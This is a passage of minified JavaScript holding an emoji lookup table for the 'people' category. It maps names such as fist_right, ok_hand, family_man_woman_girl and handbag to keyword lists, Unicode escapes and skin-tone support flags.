char:"\ud83e\udd1b",fitzpatrick_scale:!0,category:"people"},fist_right:{keywords:["hand","fistbump"],char:"\ud83e\udd1c",fitzpatrick_scale:!0,category:"people"},v:{keywords:["fingers","ohyeah","hand","peace","victory","two"],char:"\u270c",fitzpatrick_scale:!0,category:"people"},ok_hand:{keywords:["fingers","limbs","perfect","ok","okay"],char:"\ud83d\udc4c",fitzpatrick_scale:!0,category:"people"},raised_hand:{keywords:["fingers","stop","highfive","palm","ban"],char:"\u270b",fitzpatrick_scale:!0,category:"people"},raised_back_of_hand:{keywords:["fingers","raised","backhand"],char:"\ud83e\udd1a",fitzpatrick_scale:!0,category:"people"},open_hands:{keywords:["fingers","butterfly","hands","open"],char:"\ud83d\udc50",fitzpatrick_scale:!0,category:"people"},muscle:{keywords:["arm","flex","hand","summer","strong","biceps"],char:"\ud83d\udcaa",fitzpatrick_scale:!0,category:"people"},pray:{keywords:["please","hope","wish","namaste","highfive"],char:"\ud83d\ude4f",fitzpatrick_scale:!0,category:"people"},foot:{keywords:["kick","stomp"],char:"\ud83e\uddb6",fitzpatrick_scale:!0,category:"people"},leg:{keywords:["kick","limb"],char:"\ud83e\uddb5",fitzpatrick_scale:!0,category:"people"},handshake:{keywords:["agreement","shake"],char:"\ud83e\udd1d",fitzpatrick_scale:!1,category:"people"},point_up:{keywords:["hand","fingers","direction","up"],char:"\u261d",fitzpatrick_scale:!0,category:"people"},point_up_2:{keywords:["fingers","hand","direction","up"],char:"\ud83d\udc46",fitzpatrick_scale:!0,category:"people"},point_down:{keywords:["fingers","hand","direction","down"],char:"\ud83d\udc47",fitzpatrick_scale:!0,category:"people"},point_left:{keywords:["direction","fingers","hand","left"],char:"\ud83d\udc48",fitzpatrick_scale:!0,category:"people"},point_right:{keywords:["fingers","hand","direction","right"],char:"\ud83d\udc49",fitzpatrick_scale:!0,category:"people"},fu:{keywords:["hand","fingers","rude","middle","flipping"],char:"\ud83d\udd95",fitzpatrick_scale:!0,category:"people"},raised_hand_with_fingers_splayed:{keywords:["hand","fingers","palm"],char:"\ud83d\udd90",fitzpatrick_scale:!0,category:"people"},love_you:{keywords:["hand","fingers","gesture"],char:"\ud83e\udd1f",fitzpatrick_scale:!0,category:"people"},metal:{keywords:["hand","fingers","evil_eye","sign_of_horns","rock_on"],char:"\ud83e\udd18",fitzpatrick_scale:!0,category:"people"},crossed_fingers:{keywords:["good","lucky"],char:"\ud83e\udd1e",fitzpatrick_scale:!0,category:"people"},vulcan_salute:{keywords:["hand","fingers","spock","star trek"],char:"\ud83d\udd96",fitzpatrick_scale:!0,category:"people"},writing_hand:{keywords:["lower_left_ballpoint_pen","stationery","write","compose"],char:"\u270d",fitzpatrick_scale:!0,category:"people"},selfie:{keywords:["camera","phone"],char:"\ud83e\udd33",fitzpatrick_scale:!0,category:"people"},nail_care:{keywords:["beauty","manicure","finger","fashion","nail"],char:"\ud83d\udc85",fitzpatrick_scale:!0,category:"people"},lips:{keywords:["mouth","kiss"],char:"\ud83d\udc44",fitzpatrick_scale:!1,category:"people"},tooth:{keywords:["teeth","dentist"],char:"\ud83e\uddb7",fitzpatrick_scale:!1,category:"people"},tongue:{keywords:["mouth","playful"],char:"\ud83d\udc45",fitzpatrick_scale:!1,category:"people"},ear:{keywords:["face","hear","sound","listen"],char:"\ud83d\udc42",fitzpatrick_scale:!0,category:"people"},nose:{keywords:["smell","sniff"],char:"\ud83d\udc43",fitzpatrick_scale:!0,category:"people"},eye:{keywords:["face","look","see","watch","stare"],char:"\ud83d\udc41",fitzpatrick_scale:!1,category:"people"},eyes:{keywords:["look","watch","stalk","peek","see"],char:"\ud83d\udc40",fitzpatrick_scale:!1,category:"people"},brain:{keywords:["smart","intelligent"],char:"\ud83e\udde0",fitzpatrick_scale:!1,category:"people"},bust_in_silhouette:{keywords:["user","person","human"],char:"\ud83d\udc64",fitzpatrick_scale:!1,category:"people"},busts_in_silhouette:{keywords:["user","person","human","group","team"],char:"\ud83d\udc65",fitzpatrick_scale:!1,category:"people"},speaking_head:{keywords:["user","person","human","sing","say","talk"],char:"\ud83d\udde3",fitzpatrick_scale:!1,category:"people"},baby:{keywords:["child","boy","girl","toddler"],char:"\ud83d\udc76",fitzpatrick_scale:!0,category:"people"},child:{keywords:["gender-neutral","young"],char:"\ud83e\uddd2",fitzpatrick_scale:!0,category:"people"},boy:{keywords:["man","male","guy","teenager"],char:"\ud83d\udc66",fitzpatrick_scale:!0,category:"people"},girl:{keywords:["female","woman","teenager"],char:"\ud83d\udc67",fitzpatrick_scale:!0,category:"people"},adult:{keywords:["gender-neutral","person"],char:"\ud83e\uddd1",fitzpatrick_scale:!0,category:"people"},man:{keywords:["mustache","father","dad","guy","classy","sir","moustache"],char:"\ud83d\udc68",fitzpatrick_scale:!0,category:"people"},woman:{keywords:["female","girls","lady"],char:"\ud83d\udc69",fitzpatrick_scale:!0,category:"people"},blonde_woman:{keywords:["woman","female","girl","blonde","person"],char:"\ud83d\udc71\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},blonde_man:{keywords:["man","male","boy","blonde","guy","person"],char:"\ud83d\udc71",fitzpatrick_scale:!0,category:"people"},bearded_person:{keywords:["person","bewhiskered"],char:"\ud83e\uddd4",fitzpatrick_scale:!0,category:"people"},older_adult:{keywords:["human","elder","senior","gender-neutral"],char:"\ud83e\uddd3",fitzpatrick_scale:!0,category:"people"},older_man:{keywords:["human","male","men","old","elder","senior"],char:"\ud83d\udc74",fitzpatrick_scale:!0,category:"people"},older_woman:{keywords:["human","female","women","lady","old","elder","senior"],char:"\ud83d\udc75",fitzpatrick_scale:!0,category:"people"},man_with_gua_pi_mao:{keywords:["male","boy","chinese"],char:"\ud83d\udc72",fitzpatrick_scale:!0,category:"people"},woman_with_headscarf:{keywords:["female","hijab","mantilla","tichel"],char:"\ud83e\uddd5",fitzpatrick_scale:!0,category:"people"},woman_with_turban:{keywords:["female","indian","hinduism","arabs","woman"],char:"\ud83d\udc73\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_with_turban:{keywords:["male","indian","hinduism","arabs"],char:"\ud83d\udc73",fitzpatrick_scale:!0,category:"people"},policewoman:{keywords:["woman","police","law","legal","enforcement","arrest","911","female"],char:"\ud83d\udc6e\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},policeman:{keywords:["man","police","law","legal","enforcement","arrest","911"],char:"\ud83d\udc6e",fitzpatrick_scale:!0,category:"people"},construction_worker_woman:{keywords:["female","human","wip","build","construction","worker","labor","woman"],char:"\ud83d\udc77\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},construction_worker_man:{keywords:["male","human","wip","guy","build","construction","worker","labor"],char:"\ud83d\udc77",fitzpatrick_scale:!0,category:"people"},guardswoman:{keywords:["uk","gb","british","female","royal","woman"],char:"\ud83d\udc82\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},guardsman:{keywords:["uk","gb","british","male","guy","royal"],char:"\ud83d\udc82",fitzpatrick_scale:!0,category:"people"},female_detective:{keywords:["human","spy","detective","female","woman"],char:"\ud83d\udd75\ufe0f\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},male_detective:{keywords:["human","spy","detective"],char:"\ud83d\udd75",fitzpatrick_scale:!0,category:"people"},woman_health_worker:{keywords:["doctor","nurse","therapist","healthcare","woman","human"],char:"\ud83d\udc69\u200d\u2695\ufe0f",fitzpatrick_scale:!0,category:"people"},man_health_worker:{keywords:["doctor","nurse","therapist","healthcare","man","human"],char:"\ud83d\udc68\u200d\u2695\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_farmer:{keywords:["rancher","gardener","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udf3e",fitzpatrick_scale:!0,category:"people"},man_farmer:{keywords:["rancher","gardener","man","human"],char:"\ud83d\udc68\u200d\ud83c\udf3e",fitzpatrick_scale:!0,category:"people"},woman_cook:{keywords:["chef","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udf73",fitzpatrick_scale:!0,category:"people"},man_cook:{keywords:["chef","man","human"],char:"\ud83d\udc68\u200d\ud83c\udf73",fitzpatrick_scale:!0,category:"people"},woman_student:{keywords:["graduate","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udf93",fitzpatrick_scale:!0,category:"people"},man_student:{keywords:["graduate","man","human"],char:"\ud83d\udc68\u200d\ud83c\udf93",fitzpatrick_scale:!0,category:"people"},woman_singer:{keywords:["rockstar","entertainer","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udfa4",fitzpatrick_scale:!0,category:"people"},man_singer:{keywords:["rockstar","entertainer","man","human"],char:"\ud83d\udc68\u200d\ud83c\udfa4",fitzpatrick_scale:!0,category:"people"},woman_teacher:{keywords:["instructor","professor","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udfeb",fitzpatrick_scale:!0,category:"people"},man_teacher:{keywords:["instructor","professor","man","human"],char:"\ud83d\udc68\u200d\ud83c\udfeb",fitzpatrick_scale:!0,category:"people"},woman_factory_worker:{keywords:["assembly","industrial","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udfed",fitzpatrick_scale:!0,category:"people"},man_factory_worker:{keywords:["assembly","industrial","man","human"],char:"\ud83d\udc68\u200d\ud83c\udfed",fitzpatrick_scale:!0,category:"people"},woman_technologist:{keywords:["coder","developer","engineer","programmer","software","woman","human","laptop","computer"],char:"\ud83d\udc69\u200d\ud83d\udcbb",fitzpatrick_scale:!0,category:"people"},man_technologist:{keywords:["coder","developer","engineer","programmer","software","man","human","laptop","computer"],char:"\ud83d\udc68\u200d\ud83d\udcbb",fitzpatrick_scale:!0,category:"people"},woman_office_worker:{keywords:["business","manager","woman","human"],char:"\ud83d\udc69\u200d\ud83d\udcbc",fitzpatrick_scale:!0,category:"people"},man_office_worker:{keywords:["business","manager","man","human"],char:"\ud83d\udc68\u200d\ud83d\udcbc",fitzpatrick_scale:!0,category:"people"},woman_mechanic:{keywords:["plumber","woman","human","wrench"],char:"\ud83d\udc69\u200d\ud83d\udd27",fitzpatrick_scale:!0,category:"people"},man_mechanic:{keywords:["plumber","man","human","wrench"],char:"\ud83d\udc68\u200d\ud83d\udd27",fitzpatrick_scale:!0,category:"people"},woman_scientist:{keywords:["biologist","chemist","engineer","physicist","woman","human"],char:"\ud83d\udc69\u200d\ud83d\udd2c",fitzpatrick_scale:!0,category:"people"},man_scientist:{keywords:["biologist","chemist","engineer","physicist","man","human"],char:"\ud83d\udc68\u200d\ud83d\udd2c",fitzpatrick_scale:!0,category:"people"},woman_artist:{keywords:["painter","woman","human"],char:"\ud83d\udc69\u200d\ud83c\udfa8",fitzpatrick_scale:!0,category:"people"},man_artist:{keywords:["painter","man","human"],char:"\ud83d\udc68\u200d\ud83c\udfa8",fitzpatrick_scale:!0,category:"people"},woman_firefighter:{keywords:["fireman","woman","human"],char:"\ud83d\udc69\u200d\ud83d\ude92",fitzpatrick_scale:!0,category:"people"},man_firefighter:{keywords:["fireman","man","human"],char:"\ud83d\udc68\u200d\ud83d\ude92",fitzpatrick_scale:!0,category:"people"},woman_pilot:{keywords:["aviator","plane","woman","human"],char:"\ud83d\udc69\u200d\u2708\ufe0f",fitzpatrick_scale:!0,category:"people"},man_pilot:{keywords:["aviator","plane","man","human"],char:"\ud83d\udc68\u200d\u2708\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_astronaut:{keywords:["space","rocket","woman","human"],char:"\ud83d\udc69\u200d\ud83d\ude80",fitzpatrick_scale:!0,category:"people"},man_astronaut:{keywords:["space","rocket","man","human"],char:"\ud83d\udc68\u200d\ud83d\ude80",fitzpatrick_scale:!0,category:"people"},woman_judge:{keywords:["justice","court","woman","human"],char:"\ud83d\udc69\u200d\u2696\ufe0f",fitzpatrick_scale:!0,category:"people"},man_judge:{keywords:["justice","court","man","human"],char:"\ud83d\udc68\u200d\u2696\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_superhero:{keywords:["woman","female","good","heroine","superpowers"],char:"\ud83e\uddb8\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_superhero:{keywords:["man","male","good","hero","superpowers"],char:"\ud83e\uddb8\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_supervillain:{keywords:["woman","female","evil","bad","criminal","heroine","superpowers"],char:"\ud83e\uddb9\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_supervillain:{keywords:["man","male","evil","bad","criminal","hero","superpowers"],char:"\ud83e\uddb9\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},mrs_claus:{keywords:["woman","female","xmas","mother christmas"],char:"\ud83e\udd36",fitzpatrick_scale:!0,category:"people"},santa:{keywords:["festival","man","male","xmas","father christmas"],char:"\ud83c\udf85",fitzpatrick_scale:!0,category:"people"},sorceress:{keywords:["woman","female","mage","witch"],char:"\ud83e\uddd9\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},wizard:{keywords:["man","male","mage","sorcerer"],char:"\ud83e\uddd9\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_elf:{keywords:["woman","female"],char:"\ud83e\udddd\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_elf:{keywords:["man","male"],char:"\ud83e\udddd\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_vampire:{keywords:["woman","female"],char:"\ud83e\udddb\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_vampire:{keywords:["man","male","dracula"],char:"\ud83e\udddb\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_zombie:{keywords:["woman","female","undead","walking dead"],char:"\ud83e\udddf\u200d\u2640\ufe0f",fitzpatrick_scale:!1,category:"people"},man_zombie:{keywords:["man","male","dracula","undead","walking dead"],char:"\ud83e\udddf\u200d\u2642\ufe0f",fitzpatrick_scale:!1,category:"people"},woman_genie:{keywords:["woman","female"],char:"\ud83e\uddde\u200d\u2640\ufe0f",fitzpatrick_scale:!1,category:"people"},man_genie:{keywords:["man","male"],char:"\ud83e\uddde\u200d\u2642\ufe0f",fitzpatrick_scale:!1,category:"people"},mermaid:{keywords:["woman","female","merwoman","ariel"],char:"\ud83e\udddc\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},merman:{keywords:["man","male","triton"],char:"\ud83e\udddc\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_fairy:{keywords:["woman","female"],char:"\ud83e\uddda\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_fairy:{keywords:["man","male"],char:"\ud83e\uddda\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},angel:{keywords:["heaven","wings","halo"],char:"\ud83d\udc7c",fitzpatrick_scale:!0,category:"people"},pregnant_woman:{keywords:["baby"],char:"\ud83e\udd30",fitzpatrick_scale:!0,category:"people"},breastfeeding:{keywords:["nursing","baby"],char:"\ud83e\udd31",fitzpatrick_scale:!0,category:"people"},princess:{keywords:["girl","woman","female","blond","crown","royal","queen"],char:"\ud83d\udc78",fitzpatrick_scale:!0,category:"people"},prince:{keywords:["boy","man","male","crown","royal","king"],char:"\ud83e\udd34",fitzpatrick_scale:!0,category:"people"},bride_with_veil:{keywords:["couple","marriage","wedding","woman","bride"],char:"\ud83d\udc70",fitzpatrick_scale:!0,category:"people"},man_in_tuxedo:{keywords:["couple","marriage","wedding","groom"],char:"\ud83e\udd35",fitzpatrick_scale:!0,category:"people"},running_woman:{keywords:["woman","walking","exercise","race","running","female"],char:"\ud83c\udfc3\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},running_man:{keywords:["man","walking","exercise","race","running"],char:"\ud83c\udfc3",fitzpatrick_scale:!0,category:"people"},walking_woman:{keywords:["human","feet","steps","woman","female"],char:"\ud83d\udeb6\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},walking_man:{keywords:["human","feet","steps"],char:"\ud83d\udeb6",fitzpatrick_scale:!0,category:"people"},dancer:{keywords:["female","girl","woman","fun"],char:"\ud83d\udc83",fitzpatrick_scale:!0,category:"people"},man_dancing:{keywords:["male","boy","fun","dancer"],char:"\ud83d\udd7a",fitzpatrick_scale:!0,category:"people"},dancing_women:{keywords:["female","bunny","women","girls"],char:"\ud83d\udc6f",fitzpatrick_scale:!1,category:"people"},dancing_men:{keywords:["male","bunny","men","boys"],char:"\ud83d\udc6f\u200d\u2642\ufe0f",fitzpatrick_scale:!1,category:"people"},couple:{keywords:["pair","people","human","love","date","dating","like","affection","valentines","marriage"],char:"\ud83d\udc6b",fitzpatrick_scale:!1,category:"people"},two_men_holding_hands:{keywords:["pair","couple","love","like","bromance","friendship","people","human"],char:"\ud83d\udc6c",fitzpatrick_scale:!1,category:"people"},two_women_holding_hands:{keywords:["pair","friendship","couple","love","like","female","people","human"],char:"\ud83d\udc6d",fitzpatrick_scale:!1,category:"people"},bowing_woman:{keywords:["woman","female","girl"],char:"\ud83d\ude47\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},bowing_man:{keywords:["man","male","boy"],char:"\ud83d\ude47",fitzpatrick_scale:!0,category:"people"},man_facepalming:{keywords:["man","male","boy","disbelief"],char:"\ud83e\udd26\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_facepalming:{keywords:["woman","female","girl","disbelief"],char:"\ud83e\udd26\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_shrugging:{keywords:["woman","female","girl","confused","indifferent","doubt"],char:"\ud83e\udd37",fitzpatrick_scale:!0,category:"people"},man_shrugging:{keywords:["man","male","boy","confused","indifferent","doubt"],char:"\ud83e\udd37\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},tipping_hand_woman:{keywords:["female","girl","woman","human","information"],char:"\ud83d\udc81",fitzpatrick_scale:!0,category:"people"},tipping_hand_man:{keywords:["male","boy","man","human","information"],char:"\ud83d\udc81\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},no_good_woman:{keywords:["female","girl","woman","nope"],char:"\ud83d\ude45",fitzpatrick_scale:!0,category:"people"},no_good_man:{keywords:["male","boy","man","nope"],char:"\ud83d\ude45\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},ok_woman:{keywords:["women","girl","female","pink","human","woman"],char:"\ud83d\ude46",fitzpatrick_scale:!0,category:"people"},ok_man:{keywords:["men","boy","male","blue","human","man"],char:"\ud83d\ude46\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},raising_hand_woman:{keywords:["female","girl","woman"],char:"\ud83d\ude4b",fitzpatrick_scale:!0,category:"people"},raising_hand_man:{keywords:["male","boy","man"],char:"\ud83d\ude4b\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},pouting_woman:{keywords:["female","girl","woman"],char:"\ud83d\ude4e",fitzpatrick_scale:!0,category:"people"},pouting_man:{keywords:["male","boy","man"],char:"\ud83d\ude4e\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},frowning_woman:{keywords:["female","girl","woman","sad","depressed","discouraged","unhappy"],char:"\ud83d\ude4d",fitzpatrick_scale:!0,category:"people"},frowning_man:{keywords:["male","boy","man","sad","depressed","discouraged","unhappy"],char:"\ud83d\ude4d\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},haircut_woman:{keywords:["female","girl","woman"],char:"\ud83d\udc87",fitzpatrick_scale:!0,category:"people"},haircut_man:{keywords:["male","boy","man"],char:"\ud83d\udc87\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},massage_woman:{keywords:["female","girl","woman","head"],char:"\ud83d\udc86",fitzpatrick_scale:!0,category:"people"},massage_man:{keywords:["male","boy","man","head"],char:"\ud83d\udc86\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},woman_in_steamy_room:{keywords:["female","woman","spa","steamroom","sauna"],char:"\ud83e\uddd6\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"people"},man_in_steamy_room:{keywords:["male","man","spa","steamroom","sauna"],char:"\ud83e\uddd6\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"people"},couple_with_heart_woman_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"\ud83d\udc91",fitzpatrick_scale:!1,category:"people"},couple_with_heart_woman_woman:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc69",fitzpatrick_scale:!1,category:"people"},couple_with_heart_man_man:{keywords:["pair","love","like","affection","human","dating","valentines","marriage"],char:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc68",fitzpatrick_scale:!1,category:"people"},couplekiss_man_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:"\ud83d\udc8f",fitzpatrick_scale:!1,category:"people"},couplekiss_woman_woman:{keywords:["pair","valentines","love","like","dating","marriage"],char:"\ud83d\udc69\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69",fitzpatrick_scale:!1,category:"people"},couplekiss_man_man:{keywords:["pair","valentines","love","like","dating","marriage"],char:"\ud83d\udc68\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68",fitzpatrick_scale:!1,category:"people"},family_man_woman_boy:{keywords:["home","parents","child","mom","dad","father","mother","people","human"],char:"\ud83d\udc6a",fitzpatrick_scale:!1,category:"people"},family_man_woman_girl:{keywords:["home","parents","people","human","child"],char:"\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_man_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_woman_woman_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_woman_boy_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_woman_girl_girl:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_man_man_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_man_girl:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_man_man_girl_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_man_boy_boy:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_man_girl_girl:{keywords:["home","parents","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_woman_boy:{keywords:["home","parent","people","human","child"],char:"\ud83d\udc69\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_girl:{keywords:["home","parent","people","human","child"],char:"\ud83d\udc69\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_woman_girl_boy:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_boy_boy:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_woman_girl_girl:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_man_boy:{keywords:["home","parent","people","human","child"],char:"\ud83d\udc68\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_girl:{keywords:["home","parent","people","human","child"],char:"\ud83d\udc68\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},family_man_girl_boy:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_boy_boy:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc66\u200d\ud83d\udc66",fitzpatrick_scale:!1,category:"people"},family_man_girl_girl:{keywords:["home","parent","people","human","children"],char:"\ud83d\udc68\u200d\ud83d\udc67\u200d\ud83d\udc67",fitzpatrick_scale:!1,category:"people"},yarn:{keywords:["ball","crochet","knit"],char:"\ud83e\uddf6",fitzpatrick_scale:!1,category:"people"},thread:{keywords:["needle","sewing","spool","string"],char:"\ud83e\uddf5",fitzpatrick_scale:!1,category:"people"},coat:{keywords:["jacket"],char:"\ud83e\udde5",fitzpatrick_scale:!1,category:"people"},labcoat:{keywords:["doctor","experiment","scientist","chemist"],char:"\ud83e\udd7c",fitzpatrick_scale:!1,category:"people"},womans_clothes:{keywords:["fashion","shopping_bags","female"],char:"\ud83d\udc5a",fitzpatrick_scale:!1,category:"people"},tshirt:{keywords:["fashion","cloth","casual","shirt","tee"],char:"\ud83d\udc55",fitzpatrick_scale:!1,category:"people"},jeans:{keywords:["fashion","shopping"],char:"\ud83d\udc56",fitzpatrick_scale:!1,category:"people"},necktie:{keywords:["shirt","suitup","formal","fashion","cloth","business"],char:"\ud83d\udc54",fitzpatrick_scale:!1,category:"people"},dress:{keywords:["clothes","fashion","shopping"],char:"\ud83d\udc57",fitzpatrick_scale:!1,category:"people"},bikini:{keywords:["swimming","female","woman","girl","fashion","beach","summer"],char:"\ud83d\udc59",fitzpatrick_scale:!1,category:"people"},kimono:{keywords:["dress","fashion","women","female","japanese"],char:"\ud83d\udc58",fitzpatrick_scale:!1,category:"people"},lipstick:{keywords:["female","girl","fashion","woman"],char:"\ud83d\udc84",fitzpatrick_scale:!1,category:"people"},kiss:{keywords:["face","lips","love","like","affection","valentines"],char:"\ud83d\udc8b",fitzpatrick_scale:!1,category:"people"},footprints:{keywords:["feet","tracking","walking","beach"],char:"\ud83d\udc63",fitzpatrick_scale:!1,category:"people"},flat_shoe:{keywords:["ballet","slip-on","slipper"],char:"\ud83e\udd7f",fitzpatrick_scale:!1,category:"people"},high_heel:{keywords:["fashion","shoes","female","pumps","stiletto"],char:"\ud83d\udc60",fitzpatrick_scale:!1,category:"people"},sandal:{keywords:["shoes","fashion","flip flops"],char:"\ud83d\udc61",fitzpatrick_scale:!1,category:"people"},boot:{keywords:["shoes","fashion"],char:"\ud83d\udc62",fitzpatrick_scale:!1,category:"people"},mans_shoe:{keywords:["fashion","male"],char:"\ud83d\udc5e",fitzpatrick_scale:!1,category:"people"},athletic_shoe:{keywords:["shoes","sports","sneakers"],char:"\ud83d\udc5f",fitzpatrick_scale:!1,category:"people"},hiking_boot:{keywords:["backpacking","camping","hiking"],char:"\ud83e\udd7e",fitzpatrick_scale:!1,category:"people"},socks:{keywords:["stockings","clothes"],char:"\ud83e\udde6",fitzpatrick_scale:!1,category:"people"},gloves:{keywords:["hands","winter","clothes"],char:"\ud83e\udde4",fitzpatrick_scale:!1,category:"people"},scarf:{keywords:["neck","winter","clothes"],char:"\ud83e\udde3",fitzpatrick_scale:!1,category:"people"},womans_hat:{keywords:["fashion","accessories","female","lady","spring"],char:"\ud83d\udc52",fitzpatrick_scale:!1,category:"people"},tophat:{keywords:["magic","gentleman","classy","circus"],char:"\ud83c\udfa9",fitzpatrick_scale:!1,category:"people"},billed_hat:{keywords:["cap","baseball"],char:"\ud83e\udde2",fitzpatrick_scale:!1,category:"people"},rescue_worker_helmet:{keywords:["construction","build"],char:"\u26d1",fitzpatrick_scale:!1,category:"people"},mortar_board:{keywords:["school","college","degree","university","graduation","cap","hat","legal","learn","education"],char:"\ud83c\udf93",fitzpatrick_scale:!1,category:"people"},crown:{keywords:["king","kod","leader","royalty","lord"],char:"\ud83d\udc51",fitzpatrick_scale:!1,category:"people"},school_satchel:{keywords:["student","education","bag","backpack"],char:"\ud83c\udf92",fitzpatrick_scale:!1,category:"people"},luggage:{keywords:["packing","travel"],char:"\ud83e\uddf3",fitzpatrick_scale:!1,category:"people"},pouch:{keywords:["bag","accessories","shopping"],char:"\ud83d\udc5d",fitzpatrick_scale:!1,category:"people"},purse:{keywords:["fashion","accessories","money","sales","shopping"],char:"\ud83d\udc5b",fitzpatrick_scale:!1,category:"people"},handbag:{keywords:["fashion","accessory","accessories","shopping"],char:"\ud83d\ud